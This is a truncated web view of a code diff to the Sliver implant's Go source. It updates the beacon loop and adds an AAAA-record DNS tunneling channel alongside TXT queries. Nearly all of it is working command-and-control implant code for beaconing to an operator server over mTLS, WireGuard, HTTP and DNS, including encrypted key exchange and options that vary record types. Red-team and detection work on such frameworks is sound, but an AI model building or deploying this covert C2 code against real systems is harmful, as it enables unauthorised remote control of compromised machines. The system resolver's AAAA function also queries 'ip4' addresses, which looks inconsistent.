+18 -18
View File
@@ -30,18 +30,18 @@ import (
"net/url"
"time"
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
"crypto/tls"
"github.com/bishopfox/sliver/implant/sliver/transports/mtls"
// {{end}}
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
"github.com/bishopfox/sliver/implant/sliver/transports/httpclient"
// {{end}}
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
"errors"
"net"
@@ -50,11 +50,11 @@ import (
// {{end}}
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"strconv"
// {{end}}
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
// {{end}}
@@ -141,28 +141,28 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
switch uri.Scheme {
// *** MTLS ***
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
case "mtls":
beacon = mtlsBeacon(uri)
// {{end}} - MTLSc2Enabled
// {{end}} - IncludeMTLS
case "wg":
// *** WG ***
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
beacon = wgBeacon(uri)
// {{end}} - WGc2Enabled
// {{end}} - IncludeWG
case "https":
fallthrough
case "http":
// *** HTTP ***
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
beacon = httpBeacon(uri)
// {{end}} - HTTPc2Enabled
// {{end}} - IncludeHTTP
case "dns":
// *** DNS ***
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
beacon = dnsBeacon(uri)
// {{end}} - DNSc2Enabled
// {{end}} - IncludeDNS
default:
// {{if .Config.Debug}}
@@ -180,7 +180,7 @@ func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
return nextBeacon
}
// {{if .Config.MTLSc2Enabled}}
// {{if .Config.IncludeMTLS}}
func mtlsBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
log.Printf("Beacon -> %s", uri.String())
@@ -230,7 +230,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.WGc2Enabled}}
// {{if .Config.IncludeWG}}
func wgBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
log.Printf("Establishing Beacon -> %s", uri.String())
@@ -290,7 +290,7 @@ func wgBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.HTTPc2Enabled}}
// {{if .Config.IncludeHTTP}}
func httpBeacon(uri *url.URL) *Beacon {
// {{if .Config.Debug}}
@@ -335,7 +335,7 @@ func httpBeacon(uri *url.URL) *Beacon {
// {{end}}
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
@@ -371,6 +371,6 @@ func dnsBeacon(uri *url.URL) *Beacon {
return beacon
}
// {{end}} - DNSc2Enabled
// {{end}} - IncludeDNS
// {{end}} - IsBeacon
+126 -22
View File
@@ -50,7 +50,7 @@ package dnsclient
fallback to Base32 if we detect problems.
*/
// {{if .Config.DNSc2Enabled}}
// {{if .Config.IncludeDNS}}
import (
"crypto/rand"
@@ -92,6 +92,7 @@ var (
ErrInvalidResponse = errors.New("invalid response")
ErrInvalidIndex = errors.New("invalid start/stop index")
ErrEmptyResponse = errors.New("empty response")
ErrInvalidMsg = errors.New("invalid dns message")
)
// DNSOptions - c2 specific options
@@ -102,6 +103,7 @@ type DNSOptions struct {
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
NoTXT bool
ForceResolvConf string
ForceResolvers string
}
@@ -141,6 +143,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
NoTXT: strings.ToLower(c2URI.Query().Get("notxt")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
ForceResolvers: c2URI.Query().Get("resolvers"),
}
@@ -167,6 +170,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
metadata: map[string]*ResolverMetadata{},
parent: parent,
forceBase32: opts.ForceBase32,
noTXT: opts.NoTXT,
forceResolvConf: opts.ForceResolvConf,
forceResolvers: opts.ForceResolvers,
queryTimeout: opts.QueryTimeout,
@@ -192,6 +196,7 @@ type SliverDNSClient struct {
retryCount int
queryTimeout time.Duration
forceBase32 bool
noTXT bool
forceResolvConf string
forceResolvers string
subdataSpace int
@@ -256,6 +261,8 @@ func (w *DNSWorker) Start(id int, recvQueue <-chan *DNSWork, sendQueue <-chan *D
switch work.QueryType {
case dns.TypeA:
data, _, err = w.resolver.A(work.Domain)
case dns.TypeAAAA:
data, _, err = w.resolver.AAAA(work.Domain)
case dns.TypeTXT:
data, _, err = w.resolver.TXT(work.Domain)
}
@@ -292,7 +299,7 @@ func (s *SliverDNSClient) SessionInit() error {
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout),
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
@@ -312,9 +319,9 @@ func (s *SliverDNSClient) SessionInit() error {
}
// Key agreement with server
sKey := cryptography.RandomKey()
sKey := cryptography.RandomSymmetricKey()
s.cipherCtx = cryptography.NewCipherContext(sKey)
initData, err := cryptography.ECCEncryptToServer(sKey[:])
initData, err := cryptography.AgeKeyExToServer(sKey[:])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] failed to encrypt init msg %v", err)
@@ -340,6 +347,14 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
// {{if .Config.Debug}}
@@ -389,7 +404,14 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
resp := []byte{}
for _, subdata := range allSubdata {
respData, _, err := resolver.TXT(subdata)
var respData []byte
var err error
if s.noTXT {
respData, _, err = resolver.AAAA(subdata)
} else {
respData, _, err = resolver.TXT(subdata)
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg failure %v", err)
@@ -398,6 +420,11 @@ func (s *SliverDNSClient) sendInit(resolver DNSResolver, encoder encoders.Encode
}
if 0 < len(respData) {
resp = append(resp, respData...)
} else {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, ErrInvalidResponse
}
}
return resp, nil
@@ -425,6 +452,7 @@ func (s *SliverDNSClient) WriteEnvelope(envelope *pb.Envelope) error {
// ReadEnvelope - Recv an envelope from the server
func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
var respData []byte
if s.closed {
return nil, ErrClosed
}
@@ -444,14 +472,26 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[dns] poll msg domain: %v", domain)
// {{end}}
respData, _, err := resolver.TXT(domain)
if err != nil {
return nil, err
if s.noTXT {
respData, _, err = resolver.AAAA(domain)
if err != nil {
return nil, err
}
} else {
respData, _, err = resolver.TXT(domain)
if err != nil {
return nil, err
}
}
// {{if .Config.Debug}}
log.Printf("[dns] read msg resp data: %v", respData)
// {{end}}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in response")
// {{end}}
return nil, nil
}
@@ -471,10 +511,38 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return nil, nil
}
plaintext, err := s.cipherCtx.Decrypt(ciphertext)
if err != nil && err != cryptography.ErrReplayAttack {
return nil, err
}
//Send clear
clearMsg, err := s.clearMsg(dnsMsg.ID)
if err != nil {
return nil, err
}
domain, err = s.joinSubdataToParent(clearMsg)
if err != nil {
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[dns] clear msg domain: %v", domain)
// {{end}}
respData, _, err = resolver.A(domain)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] clear msg error: %s", err)
// {{end}}
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
return envelope, err
@@ -529,7 +597,12 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
return nil, ErrInvalidResponse
}
const bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
var bytesPerTxt uint32
if s.noTXT {
bytesPerTxt = 192
} else {
bytesPerTxt = 182 // 189 with base64, -6 metadata, -1 margin
}
wg := &sync.WaitGroup{}
results := make(chan *DNSResult, int(manifest.Size/bytesPerTxt)+1)
@@ -555,11 +628,21 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
}
wg.Add(1)
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
if s.noTXT {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeAAAA,
Domain: domain,
Wg: wg,
Results: results,
}
} else {
s.recvQueue <- &DNSWork{
QueryType: dns.TypeTXT,
Domain: domain,
Wg: wg,
Results: results,
}
}
}
@@ -570,6 +653,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
recvData := make(chan []byte)
errors := []error{}
go func() {
// {{if .Config.Debug}}
log.Printf("[dns] Manifest Len: %d ", manifest.Size)
// {{end}}
recvDataBuf := make([]byte, manifest.Size)
for result := range results {
if result.Err != nil {
@@ -577,11 +663,14 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
continue
}
// {{if .Config.Debug}}
log.Printf("[dns] read result data: %v", result.Data)
log.Printf("[dns] read result data: Len: %d %v", len(result.Data), result.Data)
// {{end}}
recvMsg := &dnspb.DNSMessage{}
err := proto.Unmarshal(result.Data, recvMsg)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] unmarshal error: %s", err)
// {{end}}
errors = append(errors, result.Err)
continue
}
@@ -589,6 +678,9 @@ func (s *SliverDNSClient) parallelRecv(manifest *dnspb.DNSMessage) ([]byte, erro
log.Printf("[dns] recv msg: %v", recvMsg)
// {{end}}
if manifest.Size < recvMsg.Start || int(manifest.Size) < int(recvMsg.Start)+len(recvMsg.Data) {
// {{if .Config.Debug}}
log.Printf("[dns] invalid index")
// {{end}}
errors = append(errors, ErrInvalidIndex)
continue
}
@@ -814,15 +906,27 @@ func (s *SliverDNSClient) pollMsg(meta *ResolverMetadata) (string, error) {
}
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpCode := cryptography.GetOTPCode()
otp, err := strconv.Atoi(otpCode)
if err != nil {
return "", err
func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
nonceBuf := make([]byte, 8)
rand.Read(nonceBuf)
clearMsg, _ := proto.Marshal(&dnspb.DNSMessage{
ID: msgId,
Type: dnspb.DNSMessageType_CLEAR,
Data: nonceBuf,
})
if s.enableCaseSensitiveEncoder {
msg, _ := s.base58.Encode(clearMsg)
return string(msg), nil
} else {
msg, _ := s.base32.Encode(clearMsg)
return string(msg), nil
}
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(otp), // Take advantage of the variable length encoding
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
@@ -997,4 +1101,4 @@ func (s *SliverDNSClient) randomResolver() (DNSResolver, *ResolverMetadata) {
return resolver, s.metadata[resolver.Address()]
}
// {{end}} -DNSc2Enabled
// {{end}} -IncludeDNS
@@ -39,7 +39,7 @@ var (
)
// NewGenericResolver - Instantiate a new generic resolver
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration, parent string) DNSResolver {
if retries < 1 {
retries = 1
}
@@ -52,6 +52,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
WriteTimeout: timeout,
},
base64: encoders.Base64Encoder{},
parent: parent,
}
}
@@ -62,6 +63,7 @@ type GenericResolver struct {
retryWait time.Duration
resolver *dns.Client
base64 encoders.Base64Encoder
parent string
}
// Address - Return the address of the resolver
@@ -114,6 +116,87 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
return records, rtt, err
}
// AAAA - Query for AAAA records
func (r *GenericResolver) AAAA(domain string) ([]byte, time.Duration, error) {
var resp []byte
var rtt time.Duration
var err error
for attempt := 0; attempt < r.retries; attempt++ {
resp, rtt, err = r.aaaa(domain)
if err == nil {
break
}
// {{if .Config.Debug}}
log.Printf("[dns] query error: %s (retry wait: %s)", err, r.retryWait)
// {{end}}
time.Sleep(r.retryWait)
}
return resp, rtt, err
}
func (r *GenericResolver) aaaa(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s ?", r.address, domain)
// {{end}}
resp, rtt, err := r.localQuery(domain, dns.TypeAAAA)
if err != nil {
return nil, rtt, err
}
if resp.Rcode != dns.RcodeSuccess {
// {{if .Config.Debug}}
log.Printf("[dns] error response status: %v", resp.Rcode)
// {{end}}
return nil, rtt, ErrInvalidRcode
}
records := make([]byte, 512)
dataSize := uint32(0)
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.AAAA:
// {{if .Config.Debug}}
log.Printf("[dns] answer (aaaa): %v", answer.AAAA)
// {{end}}
chunkMeta := uint32(answer.Hdr.Ttl)
chunkIdx := (chunkMeta & 0xff00) >> 8
// {{if .Config.Debug}}
log.Printf("[dns] chunk idx: %d", chunkIdx)
// {{end}}
tempSize := chunkMeta & 0xff
if dataSize != 0 {
if tempSize != dataSize {
// {{if .Config.Debug}}
log.Printf("[dns] inconsistent record size. should all be the same: %d", tempSize)
// {{end}}
return nil, rtt, ErrInvalidResponse
}
} else {
dataSize = tempSize
}
copy(records[chunkIdx*16:], []byte(answer.AAAA))
//records = append(records, []byte(answer.AAAA)...)
}
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (aaaa): no records returned")
// {{end}}
}
data := []byte{}
if dataSize > 0 {
// Trim output data
data = make([]byte, dataSize)
copy(data, records[0:dataSize])
}
return data, rtt, err
}
// TXT - Query for TXT records
func (r *GenericResolver) TXT(domain string) ([]byte, time.Duration, error) {
var resp []byte
@@ -145,18 +228,24 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
}
records := ""
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
data := []byte{}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
if len(resp.Answer) > 0 {
for _, answer := range resp.Answer {
switch answer := answer.(type) {
case *dns.TXT:
// {{if .Config.Debug}}
log.Printf("[dns] answer (txt): %v", answer.Txt)
// {{end}}
records += strings.Join(answer.Txt, "")
}
}
if 0 < len(records) {
data, err = r.base64.Decode([]byte(records))
}
// {{if .Config.Debug}}
} else {
log.Printf("[dns] answer (txt): no records returned")
// {{end}}
}
return data, rtt, err
}
@@ -19,6 +19,7 @@ package dnsclient
*/
import (
"context"
"net"
"strings"
"time"
@@ -70,6 +71,26 @@ func (r *SystemResolver) A(domain string) ([]byte, time.Duration, error) {
return addrs, rtt, nil
}
// AAAA - Query for AAAA records
func (r *SystemResolver) AAAA(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] %s->AAAA record of %s?", r.Address(), domain)
// {{end}}
started := time.Now()
ips, err := net.DefaultResolver.LookupIP(context.Background(), "ip4", domain)
rtt := time.Since(started)
if err != nil {
return nil, rtt, err
}
var addrs []byte
for _, ip := range ips {
if ip.To16() != nil {
addrs = append(addrs, ip.To16()...)
}
}
return addrs, rtt, nil
}
// TXT - Query for TXT records
func (r *SystemResolver) TXT(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
@@ -26,5 +26,6 @@ import (
type DNSResolver interface {
Address() string
A(string) ([]byte, time.Duration, error)
AAAA(string) ([]byte, time.Duration, error)
TXT(string) ([]byte, time.Duration, error)
}
Loaded 100 of 4416 files, more files were not shown because too many files have changed in this diff. Show more